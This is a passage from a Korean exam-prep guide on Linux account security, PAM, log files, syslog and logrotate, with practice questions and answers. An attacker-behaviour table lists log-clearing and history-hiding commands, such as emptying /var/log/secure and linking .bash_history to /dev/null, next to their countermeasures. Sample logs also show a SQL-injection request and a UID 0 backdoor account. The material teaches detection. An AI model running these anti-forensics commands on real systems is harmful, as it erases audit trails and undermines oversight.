user2: P@ssw0rd + salt "aB3dE9fG" → $6$aB3dE9fG$Q2mz... ← 같은 비번, 다른 해시
- 최신 방식은 해시를 수천 번 반복(키 스트레칭)해 무차별 대입 속도를 늦춘다(
$6$rounds=...$형식으로 횟수 지정 가능).
3-5. /etc/login.defs — 계정 생성 기본 정책
PASS_MAX_DAYS 90 # 최대 사용 기간
PASS_MIN_DAYS 1 # 최소 사용 기간
PASS_WARN_AGE 7 # 경고 기간
PASS_MIN_LEN 8 # 최소 길이 (PAM을 쓰는 최신 배포판에선 pwquality가 우선해 무시되는 경우 많음)
UID_MIN 1000
UID_MAX 60000
UMASK 077 # 홈 디렉터리 생성 등에 쓰는 umask (배포판마다 기본값 다름)
ENCRYPT_METHOD SHA512 # 해시 방식 (최신 Debian 계열은 YESCRYPT)
- 이 값은 새로 만드는 계정의 shadow 기본값이 된다. 기존 계정에는
chage로 따로 적용해야 한다.
3-6. PAM — 인증을 부품처럼 갈아 끼우기
PAM(Pluggable Authentication Modules) 은 로그인, su, sshd, passwd 같은 프로그램이 인증을 직접 구현하지 않고 공통 모듈을 조합해 쓰게 하는 프레임워크다. 프로그램을 다시 컴파일하지 않고 설정 파일만 바꿔 정책(비밀번호 복잡도, 실패 잠금, wheel 그룹 제한)을 적용할 수 있다.
설정 위치: /etc/pam.d/<서비스 이름> (예: /etc/pam.d/su, /etc/pam.d/sshd, RHEL /etc/pam.d/system-auth·password-auth, Debian /etc/pam.d/common-auth)
한 줄의 구조: 모듈유형 제어플래그 모듈 [인자]
| 모듈 유형 | 하는 일 |
|---|---|
| auth | 사용자 확인(비밀번호 검사 등) |
| account | 계정이 지금 사용 가능한지(만료, 접근 시간 제한) |
| password | 비밀번호 변경 규칙(복잡도) |
| session | 로그인 전후 작업(로그 기록, 홈 마운트) |
| 제어 플래그 | 의미 |
|---|---|
| required | 반드시 성공해야 함. 실패해도 나머지 모듈은 계속 실행한 뒤 최종 실패 (어느 단계에서 실패했는지 숨김) |
| requisite | 반드시 성공해야 함. 실패하면 즉시 중단 |
| sufficient | 성공하면(앞의 required가 실패하지 않았다면) 바로 인증 성공, 실패하면 무시 |
| optional | 결과가 다른 모듈에 영향을 주지 않음(유일한 모듈일 때만 의미) |
| include | 다른 설정 파일을 불러옴 |
① 로그인 실패 시 계정 잠금 — pam_faillock
RHEL 8+ 등 최신 배포판은 pam_faillock, 옛 배포판은 pam_tally2(현재 제거됨)를 썼다.
# /etc/security/faillock.conf
deny = 5 # 5회 실패 시 잠금
unlock_time = 600 # 600초(10분) 뒤 자동 해제 (0이면 관리자가 풀 때까지)
even_deny_root # root에도 적용 (선택)
$ sudo faillock --user user1 # 실패 기록 확인
user1:
When Type Source Valid
2026-11-18 03:15:22 RHOST 198.51.100.23 V
...
$ sudo faillock --user user1 --reset # 잠금 해제
(옛 방식: pam_tally2 --user user1, pam_tally2 --user user1 --reset)
② 비밀번호 복잡도 — pam_pwquality
# /etc/security/pwquality.conf
minlen = 8
dcredit = -1 # 숫자 최소 1개 (음수 = "최소 개수")
ucredit = -1 # 대문자 최소 1개
lcredit = -1 # 소문자 최소 1개
ocredit = -1 # 특수문자 최소 1개
③ su를 wheel 그룹만 쓰게 — pam_wheel
# /etc/pam.d/su
auth required pam_wheel.so use_uid
- 이 줄(보통 주석 처리돼 있음)을 활성화하면 wheel 그룹 구성원만 su로 root가 될 수 있다.
- 전통적인 다른 방법:
chgrp wheel /usr/bin/su ; chmod 4750 /usr/bin/su→ wheel 그룹 외에는 su 실행 자체 불가. - wheel 그룹에 추가:
usermod -aG wheel user1(/etc/group의wheel:x:10:user1)
3-7. root 접근 통제 — su, sudo, 원격 root 로그인
| 방법 | 동작 | 기록 |
|---|---|---|
su |
다른 사용자(기본 root)로 전환. 대상 계정의 비밀번호 필요. 환경 변수는 현재 것 유지 | secure/auth.log (일부 유닉스는 sulog) |
su - |
전환 + 대상 사용자의 로그인 환경(PATH, 홈)까지 적용 | 〃 |
sudo |
허락된 명령만 root 권한으로 실행. 자기 비밀번호 입력. 명령별 기록이 남음 | secure/auth.log |
# /etc/sudoers (반드시 visudo로 편집 → 문법 오류 검사)
root ALL=(ALL) ALL
%wheel ALL=(ALL) ALL # wheel 그룹 전원 모든 명령
user1 ALL=(root) /usr/bin/systemctl restart httpd # 특정 명령만 허용
user2 ALL=(ALL) NOPASSWD: ALL # ⚠️ 비밀번호 없이 모든 명령 → 위험
- 문법:
누가 어느호스트=(누구로) 어떤명령 - 확인:
sudo -l(내게 허용된 명령 목록)
원격 root 직접 로그인 차단
- Telnet 등:
/etc/securetty에 root 로그인을 허용할 터미널(console,tty1...)만 남기고pts/*를 빼면 원격 root 로그인 차단(pam_securetty사용 시. 최신 배포판은 이 방식을 기본으로 쓰지 않는 경우가 많다). - SSH:
/etc/ssh/sshd_config에PermitRootLogin no→ 일반 계정으로 로그인 후 su/sudo로 전환하게 해 누가 관리자 권한을 썼는지 추적 가능.
3-8. /etc/group
wheel:x:10:user1,admin
① ② ③ ④
① 그룹 이름 ② 그룹 비밀번호(x = /etc/gshadow) ③ GID ④ 보조 그룹 구성원 목록(쉼표 구분).
- 사용자의 기본 그룹은
/etc/passwd의 GID 필드로 정해지고, 여기 ④에는 보통 보조 그룹 구성원만 적힌다. id user1→uid=1001(user1) gid=1001(user1) groups=1001(user1),10(wheel)
⚠️ 시험 함정
/etc/passwd는 누구나 읽기 가능(644) 이 정상. "passwd 파일은 root만 읽어야 한다"(X) — root만 읽는 건 shadow.- passwd 필드는 7개, shadow 필드는 9개.
- shadow의 날짜는 1970-01-01 기준 일수(초 아님, 날짜 문자열 아님).
$5$=SHA-256,$6$=SHA-512. 숫자 크기에 끌려$5$를 SHA-512로 고르는 실수.- Salt의 목적은 레인보우 테이블(사전 계산) 공격 방어와 동일 비밀번호의 해시 중복 방지. "Salt는 비밀번호를 복호화하는 키"(X) — 해시는 복호화하지 않는다.
- PAM required는 실패해도 끝까지 진행, requisite는 즉시 중단. 바꿔 놓은 보기 단골.
su는 대상(root) 비밀번호,sudo는 내 비밀번호.- pam_tally2는 구형, pam_faillock이 현행. 둘 다 "로그인 실패 횟수 잠금" 모듈.
기출 포인트
- passwd/shadow 필드 해석: 한 줄을 주고 "UID", "최대 사용 기간", "로그인 셸"이 무엇인지 묻거나, 보안상 문제 있는 줄(UID 0 중복, 빈 비밀번호, 불필요한 셸)을 찾게 한다.
- 해시 식별자:
$1$/$5$/$6$와 알고리즘 매칭, Salt의 역할. - PAM: 제어 플래그 의미, 실패 잠금 모듈 이름과 설정값(deny, unlock_time), pam_wheel로 su 제한하는 설정 줄의 빈칸 채우기.
- root 원격 접속 제한:
PermitRootLogin no,/etc/securetty의 역할. 8주차 시스템 보안 점검 항목과 연결된다.
확인 문제
Q1. 다음 /etc/passwd 항목 중 보안상 가장 문제가 되는 것은?
① daemon:x:2:2:daemon:/sbin:/sbin/nologin
② user1:x:1001:1001::/home/user1:/bin/bash
③ svc:x:0:0::/home/svc:/bin/bash
④ mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false
정답: ③
- ① 정상: 시스템 계정이고 로그인 차단.
- ② 정상: 일반 사용자.
- ③ 문제: UID 0이라 root와 같은 권한. 정상 관리 목적이 아니라면 백도어 계정으로 의심.
- ④ 정상: 서비스 계정,
/bin/false로 로그인 차단.
Q2. /etc/shadow 항목 user2:$6$abc$...:20000:0:60:7:::에 대한 설명으로 옳은 것은?
① 비밀번호는 MD5로 해시되었다.
② 비밀번호 최대 사용 기간은 60일이다.
③ 비밀번호를 바꾼 뒤 최소 7일 동안 다시 바꿀 수 없다.
④ 마지막 변경일 20000은 초 단위 유닉스 시간이다.
정답: ②
- 필드: 마지막변경 20000 / 최소 0 / 최대 60 / 경고 7.
- ① 틀림:
$6$는 SHA-512. - ③ 틀림: 최소 사용 기간은 0. 7은 경고 기간.
- ④ 틀림: 1970-01-01부터의 일수.
Q3. 비밀번호 해시에 Salt를 사용하는 주된 목적은?
① 해시값을 다시 원래 비밀번호로 복호화하기 위해
② 같은 비밀번호라도 다른 해시가 나오게 하여 사전 계산(레인보우 테이블) 공격을 어렵게 하기 위해
③ 해시 계산 속도를 높이기 위해
④ 비밀번호 최소 길이를 강제하기 위해
정답: ②
- ① 틀림: 해시는 일방향이라 복호화 개념이 없다.
- ③ 틀림: 속도와 무관. 오히려 반복 해시(스트레칭)로 느리게 만드는 것이 보안상 유리.
- ④ 틀림: 길이 정책은 pwquality/login.defs의 역할.
Q4. PAM 제어 플래그 중 모듈이 실패하면 즉시 인증 실패를 반환하고 나머지 모듈을 실행하지 않는 것은?
① required ② requisite ③ sufficient ④ optional
정답: ②
- ① 틀림: required는 실패해도 나머지를 끝까지 실행한 뒤 실패 처리(공격자에게 실패 지점을 숨김).
- ③ 틀림: sufficient는 성공 시 즉시 통과, 실패는 무시.
- ④ 틀림: optional은 결과가 전체 판단에 거의 영향 없음.
Q5. wheel 그룹 사용자만 su 명령으로 root 전환을 할 수 있도록 할 때 사용하는 PAM 모듈은?
① pam_faillock.so ② pam_pwquality.so ③ pam_wheel.so ④ pam_securetty.so
정답: ③
- ① 틀림: 로그인 실패 횟수에 따른 잠금.
- ② 틀림: 비밀번호 복잡도.
- ③ 맞음:
/etc/pam.d/su에auth required pam_wheel.so use_uid. - ④ 틀림: root 로그인을 허용할 터미널 제한(
/etc/securetty).
Day 4 · 리눅스 로그 (★ 필기·실기 최빈출)
4-1. 로그는 왜 중요한가
로그는 시스템의 블랙박스다. 침해사고가 나면 "누가, 언제, 어디서, 무엇을" 했는지 로그로 재구성한다. 그래서 공격자는 침투 후 로그부터 지우거나 조작하려 한다. 보안 담당자는 ① 어떤 로그가 어디에 있는지, ② 어떤 명령으로 보는지, ③ 공격 흔적이 어떻게 보이는지를 알아야 한다.
리눅스 로그는 크게 두 갈래다.
- 바이너리 로그:
cat으로 읽으면 깨진다. 전용 명령으로 본다(utmp, wtmp, btmp, lastlog, pacct). - 텍스트 로그: syslog(rsyslog) 데몬이 기록.
cat,tail,grep으로 본다(secure, messages 등). - systemd 배포판은 journald(바이너리 저널,
journalctl로 조회)도 함께 쓴다.
4-2. 로그 전체 지도
| 로그 | 위치(일반적) | 기록 내용 | 확인 명령 | 형식 |
|---|---|---|---|---|
| utmp | /var/run/utmp (/run/utmp) |
현재 로그인한 사용자 | w, who, users, finger |
바이너리 |
| wtmp | /var/log/wtmp |
로그인·로그아웃 이력, 시스템 재부팅·종료 | last |
바이너리 |
| btmp | /var/log/btmp |
로그인 실패 이력 | lastb |
바이너리 |
| lastlog | /var/log/lastlog |
계정별 가장 최근 로그인 1건 | lastlog |
바이너리 |
| pacct | /var/account/pacct(RHEL) · /var/log/account/pacct(Debian) |
사용자가 실행한 명령 (프로세스 accounting) | lastcomm, sa |
바이너리 |
| secure | /var/log/secure (Debian/Ubuntu: /var/log/auth.log) |
인증·권한: ssh 로그인 성공/실패, su, sudo, 계정 생성 | cat, tail, grep |
텍스트 |
| messages | /var/log/messages (Debian/Ubuntu: /var/log/syslog) |
시스템 전반 (서비스 시작·중지, 커널 메시지 등) | 〃 | 텍스트 |
| dmesg | /var/log/dmesg (커널 링 버퍼) |
부팅 시 커널·하드웨어 메시지 | dmesg |
텍스트 |
| xferlog | /var/log/xferlog |
FTP 파일 송수신 | 〃 | 텍스트 |
| sulog | /var/adm/sulog (Solaris·HP-UX 등) |
su 사용 기록 (리눅스는 secure/auth.log에 기록) | 〃 | 텍스트 |
| cron | /var/log/cron |
예약 작업 실행 | 텍스트 | |
| maillog | /var/log/maillog (Debian mail.log) |
메일 송수신 | 텍스트 | |
| boot.log | /var/log/boot.log |
부팅 중 서비스 시작 결과 | 텍스트 | |
.bash_history |
~/.bash_history |
사용자가 친 셸 명령 | history |
텍스트 |
| Apache | access_log/error_log (RHEL /var/log/httpd/, Debian /var/log/apache2/access.log) |
웹 요청 / 오류 | 텍스트 | |
| (Solaris) loginlog | /var/adm/loginlog |
연속 5회 이상 로그인 실패 | 텍스트 |
- utmp = 지금 (you, now) → w / who
- wtmp = 전체 이력 (whole) → last
- btmp = 나쁜 것 (bad, 실패) → lastb
- lastlog = 이름 그대로 마지막 → lastlog
- pacct = process accounting → lastcomm(and)
- 바이너리 5총사는 전용 명령, 나머지 텍스트는 cat/tail/grep
32비트 시간 필드의 2038년 문제 때문에 일부 최신 배포판은 utmp/wtmp/lastlog 대신 wtmpdb·lastlog2 같은 새 저장 방식으로 옮겨 가고 있다. 시험은 전통적인 파일 이름 기준으로 공부하면 된다.
4-3. 실습 · 바이너리 로그 명령과 출력 읽기
w — 지금 누가 무엇을 하고 있나 (utmp)
$ w
09:30:01 up 11:32, 2 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user1 pts/0 192.168.0.5 09:12 0.00s 0.05s 0.01s w
root tty1 - 08:01 1:29m 0.02s 0.02s -bash
up 11:32: 부팅 후 11시간 32분,2 users: 현재 로그인 2명TTY:tty1= 서버 앞 콘솔,pts/0= 원격(SSH 등) 가상 터미널FROM: 접속 출발지 IPWHAT: 지금 실행 중인 명령who는 같은 정보를 더 간단히,users는 이름만 출력
last — 로그인 이력과 재부팅 (wtmp)
$ last
user1 pts/0 192.168.0.5 Mon Nov 16 09:12 still logged in
root tty1 Mon Nov 16 08:01 still logged in
reboot system boot 5.14.0-427.el9.x Mon Nov 16 07:58 still running
user1 pts/1 203.0.113.50 Sun Nov 15 03:12 - 03:40 (00:27)
root pts/0 192.168.0.5 Sat Nov 14 18:20 - 19:02 (00:41)
wtmp begins Sun Nov 1 00:00:01 2026
- 열: 사용자 / 터미널 / 출발지 / 로그인 시각 - 로그아웃 시각 / (사용 시간)
reboot system boot: 시스템 재부팅 기록도 wtmp에 남는다.last reboot로 재부팅만 보기- 4번째 줄: 새벽 3시, 외부 IP에서 user1 로그인 → 평소 패턴과 다르면 계정 탈취 의심
last -f /var/log/wtmp.1: 순환(rotate)된 이전 파일 보기,last user1: 특정 사용자만wtmp begins: 이 파일의 기록 시작 시점 (로그 순환·삭제 여부 판단 단서)
lastb — 로그인 실패 (btmp, root만)
$ sudo lastb
admin ssh:notty 198.51.100.23 Mon Nov 16 03:15 - 03:15 (00:00)
admin ssh:notty 198.51.100.23 Mon Nov 16 03:15 - 03:15 (00:00)
root ssh:notty 198.51.100.23 Mon Nov 16 03:14 - 03:14 (00:00)
test ssh:notty 198.51.100.23 Mon Nov 16 03:14 - 03:14 (00:00)
oracle ssh:notty 198.51.100.23 Mon Nov 16 03:14 - 03:14 (00:00)
btmp begins Sun Nov 1 00:00:03 2026
- 같은 IP에서 짧은 시간에 여러 계정명(admin, root, test, oracle...)으로 실패 → 무차별 대입 / 사전 공격(SSH Brute Force) 전형
- 대응: 해당 IP 차단, PermitRootLogin no, 키 기반 인증, faillock, fail2ban
- 사용자가 ID 칸에 실수로 비밀번호를 입력하면 그 문자열이 btmp에 그대로 남을 수 있다. 그래서 btmp는 root만 읽게 해야 한다.
lastlog — 계정별 마지막 로그인
$ lastlog
Username Port From Latest
root pts/0 192.168.0.5 Mon Nov 16 09:00:11 +0900 2026
bin **Never logged in**
daemon **Never logged in**
apache pts/2 203.0.113.77 Sun Nov 15 02:44:09 +0900 2026
user1 pts/0 192.168.0.5 Mon Nov 16 09:12:40 +0900 2026
- 정상이라면 시스템 계정(bin, daemon, apache 등)은 "Never logged in" 이어야 한다.
- 4번째 줄: 웹 서비스 계정 apache가 원격 로그인한 기록 → 웹셸 등을 통한 침해 의심 신호
lastlog -u user1: 특정 사용자만
lastcomm — 실행한 명령 (pacct)
$ lastcomm user1
rm user1 pts/0 0.00 secs Mon Nov 16 09:20
wget user1 pts/0 0.12 secs Mon Nov 16 09:19
chmod user1 pts/0 0.00 secs Mon Nov 16 09:19
- 프로세스 accounting은 기본으로 꺼져 있는 경우가 많다. 패키지(psacct/acct) 설치 후
accton으로 켜야 기록된다. - 명령 이름만 남고 인자(어떤 URL을 받았는지 등)는 남지 않는다.
4-4. 텍스트 로그 판독
/var/log/secure (Ubuntu: auth.log)
Nov 16 03:15:22 web01 sshd[2345]: Failed password for invalid user admin from 198.51.100.23 port 51122 ssh2
Nov 16 03:15:25 web01 sshd[2345]: Failed password for root from 198.51.100.23 port 51130 ssh2
Nov 16 09:12:40 web01 sshd[2890]: Accepted password for user1 from 192.168.0.5 port 50110 ssh2
Nov 16 09:20:01 web01 su: pam_unix(su-l:session): session opened for user root by user1(uid=1001)
Nov 16 09:25:10 web01 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Nov 16 09:30:44 web01 useradd[3011]: new user: name=backup2, UID=0, GID=0, home=/home/backup2, shell=/bin/bash
- 형식:
날짜 시간 호스트명 프로그램[PID]: 메시지 Failed password for invalid user admin: 존재하지 않는 계정으로 시도(사전 공격 흔적)Accepted password: 로그인 성공 (Accepted publickey면 키 인증)su ... session opened for user root by user1: user1이 root로 전환sudo: user1 : ... COMMAND=...: sudo로 실행한 명령 전체가 남는다useradd ... UID=0: UID 0 계정 생성 → 백도어 생성 흔적
$ grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head
532 198.51.100.23
12 203.0.113.9
(IP별 실패 횟수 집계. $(NF-3)은 뒤에서 4번째 필드 = IP. 로그 문장 형식에 따라 위치가 다를 수 있다)
xferlog — FTP 전송 기록
Mon Nov 16 10:00:00 2026 1 192.168.0.5 10240 /home/user1/data.zip b _ o r user1 ftp 0 * c
| 필드 | 값 | 의미 |
|---|---|---|
| 시각 | Mon Nov 16 10:00:00 2026 | |
| 전송 시간 | 1 | 초 |
| 원격 호스트 | 192.168.0.5 | |
| 파일 크기 | 10240 | 바이트 |
| 파일 이름 | /home/user1/data.zip | |
| 전송 유형 | b | binary (a = ascii) |
| 특수 처리 | _ | 없음 (C 압축, U 압축 해제, T tar) |
| 방향 | o | outgoing = 서버에서 다운로드 (i = incoming, 업로드) |
| 접근 모드 | r | real(일반 계정) (a = anonymous, g = guest) |
| 사용자 | user1 | |
| 서비스 | ftp | |
| 인증 방법 | 0 | 없음 (1 = RFC931) |
| 인증 사용자 ID | * | 확인 불가 |
| 완료 상태 | c | complete (i = incomplete) |
Apache access_log
203.0.113.7 - - [16/Nov/2026:10:01:02 +0900] "GET /board.php?id=1%20OR%201=1 HTTP/1.1" 200 5120 "-" "sqlmap/1.8"
- 클라이언트 IP / identd / 인증 사용자 / [시각] / "요청 줄" / 응답 코드 / 응답 크기 / "Referer" / "User-Agent"
- 이 예: 요청 파라미터에
OR 1=1, User-Agent가 자동화 도구 → SQL 인젝션 시도 (3과목 Week09_어플리케이션 보안과 연결)
dmesg
$ dmesg | tail -3
[ 1.234567] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex
[ 3456.789012] device eth0 entered promiscuous mode
[ 9876.543210] usb 1-1: new high-speed USB device number 3 using xhci_hcd
- 대괄호 숫자 = 부팅 후 경과 초
entered promiscuous mode→ 누군가 NIC를 무차별 모드로 → 스니퍼 실행 의심 (Week01에서 배운 개념)
4-5. 공격자의 로그 조작과 대응
| 공격자 행동 | 흔적·대응 |
|---|---|
> /var/log/secure처럼 파일 비우기 |
갑자기 비거나 시간 공백이 생김 → 원격 로그 서버(Day 5)로 실시간 전송해 두면 원본이 남는다 |
| wtmp/utmp에서 특정 줄만 삭제하는 도구 사용 | last와 secure의 시간대 비교로 불일치 발견 |
unset HISTFILE, history -c, ln -s /dev/null ~/.bash_history |
history 파일이 0바이트·링크 → 그 자체가 의심 신호 |
| 로그 파일 삭제 | chattr +a(추가만 가능) 속성, 무결성 검사 도구, 중앙 로그 수집(SIEM) |
⚠️ 시험 함정
- utmp = 현재, wtmp = 이력. "last 명령은 utmp를 읽는다"(X).
- 재부팅 기록은 wtmp에 있다(
last reboot). messages에도 부팅 메시지가 남지만 "재부팅 이력을 last로 확인하는 파일"은 wtmp. - btmp(lastb)는 실패, lastlog는 마지막 성공 로그인.
- pacct는 lastcomm. "acct 명령으로 본다" 같은 보기 주의(
accton은 기록을 켜는 명령). - su 기록: 리눅스는 secure(auth.log), sulog는 주로 유닉스(Solaris 등) 의
/var/adm/sulog. - RHEL
secure= Ubuntuauth.log, RHELmessages= Ubuntusyslog. 같은 역할 다른 이름. - xferlog의 방향 o = 다운로드(서버 → 클라이언트), i = 업로드. 반대로 착각하기 쉽다.
- utmp의 위치는
/var/log가 아니라/var/run(/run).
기출 포인트
- 로그 파일 ↔ 내용 ↔ 명령 매칭: 필기 1과목에서 가장 꾸준히 나오는 유형. "로그인 실패 기록을 확인하는 명령", "현재 로그인 사용자 정보를 담은 파일" 등.
- 출력 해석형(실기):
last/lastb/lastlog출력을 보여주고 어떤 공격(무차별 대입)이나 이상 징후(시스템 계정 로그인)인지 쓰게 한다. - xferlog 필드: 방향(i/o), 접근 모드(a/g/r), 완료 상태(c/i) 의미를 묻는 단답형.
- secure 로그 해석: Failed password / Accepted / su / sudo 줄의 의미.
- 배포판 차이(secure vs auth.log)를 섞어 "옳지 않은 것"을 만드는 보기가 있으니 둘 다 알아둔다.
확인 문제
Q1. 다음 중 바이너리 로그 파일과 확인 명령의 연결로 옳지 않은 것은?
① wtmp - last ② btmp - lastb ③ utmp - lastlog ④ pacct - lastcomm
정답: ③
- ①②④ 옳음.
- ③ 틀림: utmp는 w, who, users로 본다.
lastlog명령은 lastlog 파일(계정별 마지막 로그인)을 읽는다.
Q2. lastb 결과 같은 외부 IP에서 1분 동안 root, admin, test, oracle 계정으로 수백 건의 실패가 기록되었다. 가장 적절한 판단은?
① 정상적인 관리자 작업이다.
② SSH 무차별 대입(사전) 공격이 시도되었다.
③ 시스템이 재부팅되었다.
④ FTP로 대용량 파일이 유출되었다.
정답: ②
- ① 틀림: 여러 계정명, 짧은 시간, 외부 IP — 정상 패턴이 아니다.
- ③ 틀림: 재부팅은 wtmp(
last reboot)에 남는다. - ④ 틀림: FTP 전송은 xferlog에 남는다. btmp와 무관.
Q3. xferlog 항목에서 방향 필드가 i, 접근 모드가 a인 경우의 의미는?
① 실제 계정 사용자가 파일을 다운로드했다.
② 익명(anonymous) 사용자가 파일을 업로드했다.
③ 게스트 사용자가 파일을 다운로드했다.
④ 전송이 완료되지 않았다.
정답: ②
- 방향
i= incoming(서버로 들어옴 = 업로드), 접근 모드a= anonymous. - ① 틀림: 다운로드는
o, 실제 계정은r. - ③ 틀림: 게스트는
g. - ④ 틀림: 완료 여부는 마지막 필드(
c/i)로 판단한다. 방향 필드의i와 혼동시키는 보기.
Q4. Ubuntu 서버에서 SSH 로그인 성공·실패, sudo 사용 기록을 확인하려 할 때 가장 먼저 볼 텍스트 로그는?
① /var/log/secure ② /var/log/auth.log ③ /var/log/dmesg ④ /var/log/xferlog
정답: ②
- ① 틀림: 같은 역할이지만 RHEL 계열 이름. Ubuntu에는 기본으로 없다.
- ③ 틀림: 커널·부팅 메시지.
- ④ 틀림: FTP 전송 기록.
Q5. lastlog 출력에서 보안상 가장 의심스러운 것은?
① root가 내부 관리 PC IP에서 오늘 오전 로그인했다.
② bin 계정이 "Never logged in"으로 표시된다.
③ apache 계정이 외부 IP에서 새벽에 로그인한 기록이 있다.
④ user1이 업무 시간에 내부 IP에서 로그인했다.
정답: ③
- ①④ 정상 패턴(관리 정책에 따라 다를 수 있으나 의심도가 낮다).
- ② 정상: 시스템 계정은 로그인 기록이 없어야 한다.
- ③ 의심: 웹 서비스 계정은 원격 로그인할 일이 없다. 웹 취약점을 통한 침해·계정 악용을 의심한다.
Day 5 · syslog 설정 · logrotate · 점검용 명령어
5-1. syslog — 로그를 모아 분류하는 우체국
프로그램마다 로그 파일을 제각각 만들면 관리가 어렵다. 그래서 유닉스/리눅스는 syslog 데몬(현재 대부분 rsyslog, 옛날 syslogd, 일부 syslog-ng)에 로그 메시지를 보내면, 데몬이 설정 파일의 규칙대로 알맞은 파일·화면·원격 서버로 배달한다.
sshd ─┐ ┌──▶ /var/log/secure
crond ─┼──▶ [ rsyslogd ] ── 규칙 비교 ──┼──▶ /var/log/cron
kernel ┤ /etc/rsyslog.conf ├──▶ 로그인한 모든 사용자 화면 (emerg)
mail ─┘ └──▶ @192.168.0.100 (원격 로그 서버)
설정 파일: /etc/syslog.conf(옛 syslogd) 또는 /etc/rsyslog.conf + /etc/rsyslog.d/*.conf
5-2. 규칙 문법: facility.priority action
- facility(시설): 메시지를 보낸 출처의 종류
- priority(우선순위, severity): 메시지의 심각도
- 둘을 합친 것을 selector라 하고, 뒤의 action이 "어디로 보낼지"
| facility | 출처 |
|---|---|
| kern | 커널 |
| user | 일반 사용자 프로그램 (기본값) |
| 메일 시스템 | |
| daemon | 시스템 데몬 |
| auth | 인증(login, su 등) |
| authpriv | 민감한 인증 정보(비공개로 저장할 것) |
| cron | cron, at |
| lpr / news / uucp | 프린터 / 뉴스 / UUCP |
| syslog | syslog 자신 |
| local0 ~ local7 | 사용자 정의 (장비·응용이 자유롭게 사용) |
* |
모든 facility |
| 숫자 | priority | 의미 | 기억 |
|---|---|---|---|
| 0 | emerg (panic) | 시스템 사용 불가 | 가장 심각 |
| 1 | alert | 즉시 조치 필요 | |
| 2 | crit | 치명적 상태 (하드웨어 오류 등) | |
| 3 | err (error) | 오류 | |
| 4 | warning (warn) | 경고 | |
| 5 | notice | 정상이지만 주목할 상황 | |
| 6 | info | 정보 | |
| 7 | debug | 디버깅 | 가장 덜 심각 |
| - | none | 해당 facility는 기록하지 않음 |
- 외우는 법: "Emergency Alert! Critical Error. Warning, Notice: Info Debug" — 위로 갈수록 심각.
facility.priority는 그 priority "이상"을 모두 기록한다.*.err= err + crit + alert + emerg.=: 정확히 그 레벨만 (kern.=crit),!: 그 레벨 이상은 제외 (mail.!err= err 미만만). (rsyslog/sysklogd 확장 문법);: 여러 selector 나열,,: 여러 facility에 같은 priority
action 종류
| action | 의미 |
|---|---|
/var/log/secure |
파일에 기록 |
-/var/log/maillog |
파일에 기록하되 매번 디스크 동기화(sync)하지 않음(성능 향상, 비정상 종료 시 일부 유실 가능) |
@192.168.0.100 |
원격 syslog 서버로 UDP 514 전송 |
@@192.168.0.100 |
TCP로 원격 전송 (rsyslog) |
root,user1 |
해당 사용자가 로그인해 있으면 화면에 출력 |
* (rsyslog 신문법 :omusrmsg:*) |
로그인한 모든 사용자 화면에 출력 |
/dev/console |
콘솔에 출력 |
5-3. 실제 설정 예 해석 (RHEL 기본 설정과 비슷한 형태)
*.info;mail.none;authpriv.none;cron.none /var/log/messages
authpriv.* /var/log/secure
mail.* -/var/log/maillog
cron.* /var/log/cron
*.emerg :omusrmsg:*
local7.* /var/log/boot.log
*.* @192.168.0.100
| 줄 | 해석 |
|---|---|
| 1 | 모든 facility의 info 이상을 messages에 기록. 단 mail, authpriv, cron은 제외(none) — 각자 전용 파일이 있으므로 |
| 2 | 민감한 인증 메시지 전부를 secure에 |
| 3 | 메일 전부를 maillog에, 동기화 없이 |
| 4 | cron 전부를 cron 파일에 |
| 5 | emerg는 접속 중인 모든 사용자 화면에 |
| 6 | local7(부팅 메시지 용도)을 boot.log에 |
| 7 | 모든 로그를 원격 서버 192.168.0.100으로 UDP 전송 (로그 위·변조 대비) |
설정 변경 후: systemctl restart rsyslog (옛 시스템 kill -HUP <syslogd PID>)
테스트: logger -p local0.notice "test message" → 지정한 facility.priority로 메시지 생성
원격 로그 서버를 두는 이유: 공격자가 서버 root를 얻으면 로컬 로그는 지울 수 있다. 발생 즉시 다른 서버로 보내 두면 원본이 남는다. 다만 전통 syslog(UDP 514)는 평문·무인증·유실 가능이라, 중요한 환경은 TCP + TLS(rsyslog의 RELP/TLS 등)를 쓴다.
5-4. logrotate — 로그가 디스크를 다 먹지 않게
로그는 계속 쌓인다. logrotate는 주기적으로(보통 cron/systemd timer로 하루 한 번) 로그 파일을 이름 바꿔 보관 → 압축 → 오래된 것 삭제한다.
/var/log/secure ← 현재 기록 중
/var/log/secure-20261115 ← (RHEL dateext 방식) 또는 secure.1 (숫자 방식)
/var/log/secure-20261108.gz
설정: /etc/logrotate.conf(전역) + /etc/logrotate.d/<서비스>(개별)
# /etc/logrotate.conf 일부
weekly # 주 1회 순환 (daily, monthly도 가능)
rotate 4 # 4개까지 보관, 그보다 오래된 건 삭제
create # 순환 후 빈 새 파일 생성
dateext # 이름 뒤에 날짜 붙이기
compress # 오래된 파일 gzip 압축
/var/log/wtmp {
monthly
create 0664 root utmp
minsize 1M # 1MB 이상일 때만 순환
rotate 1
}
/var/log/btmp {
missingok # 파일이 없어도 오류 내지 않음
monthly
create 0600 root utmp # ← btmp는 root만 읽기
rotate 1
}
# /etc/logrotate.d/httpd
/var/log/httpd/*log {
missingok
notifempty # 비어 있으면 순환 안 함
sharedscripts
postrotate # 순환 후 실행할 명령 (데몬에게 새 파일에 쓰라고 알림)
/bin/systemctl reload httpd.service > /dev/null 2>/dev/null || true
endscript
}
- 보안 관점: 보관 기간은 법·내부 정책(예: 접속기록 보관 의무)을 만족하도록
rotate·주기를 정한다. 순환된 파일도 권한을 유지해야 한다(create 0600).
5-5. 점검용 명령어 모음
ps — 실행 중인 프로세스
$ ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 07:58 ? 00:00:02 /usr/lib/systemd/systemd
root 812 1 0 07:58 ? 00:00:00 /usr/sbin/sshd -D
apache 2950 2940 0 09:40 ? 00:00:00 /usr/sbin/httpd
apache 3302 2950 0 10:05 ? 00:00:00 sh -c /tmp/.x/kworker
apache 3310 3302 0 10:05 ? 00:00:12 /tmp/.x/kworker
- 열: 사용자 / PID / PPID(부모) / CPU / 시작 시각 / 터미널(
